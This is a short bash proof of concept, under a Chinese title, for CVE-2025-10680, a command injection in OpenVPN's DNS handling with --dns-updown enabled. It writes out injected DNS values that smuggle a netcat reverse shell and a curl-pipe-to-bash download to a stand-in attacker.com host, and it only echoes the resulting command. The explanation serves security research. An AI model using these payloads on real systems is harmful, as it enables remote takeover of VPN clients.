CVE-2025-10680 OpenVPN DNS命令注入漏洞

#!/bin/bash # CVE-2025-10680 PoC - OpenVPN DNS Command Injection # This PoC demonstrates the command injection vulnerability in OpenVPN's DNS handling # when --dns-updown is enabled # Note: This is for educational and security research purposes only # Attacker would need to control the OpenVPN server to exploit this vulnerability # Simulated malicious DNS configuration that could be sent by a malicious server MALICIOUS_DOMAIN="test.com;nc -e /bin/bash attacker.com 4444 #" MALICIOUS_SEARCH_DOMAIN="test.local;curl http://attacker.com/shell.sh|bash #" # The vulnerable code pattern (simplified representation): # DNS variables are passed directly to shell scripts without sanitization # # In openvpn's dns-updown script execution: # system("update_dns " + dns_variable) # # If dns_variable contains: test.com;nc -e /bin/bash attacker.com 4444 # The command becomes: # update_dns test.com;nc -e /bin/bash attacker.com 4444 # # This results in arbitrary command execution on the client # Example vulnerable shell command construction: VULNERABLE_CMD="update-resolv-conf $MALICIOUS_DOMAIN" echo "Vulnerable command would be: $VULNERABLE_CMD" # This would execute: update-resolv-conf test.com;nc -e /bin/bash attacker.com 4444 # Exploitation requires: # 1. OpenVPN client with --dns-updown enabled # 2. Connection to malicious or compromised OpenVPN server # 3. Server sending crafted DNS responses with shell metacharacters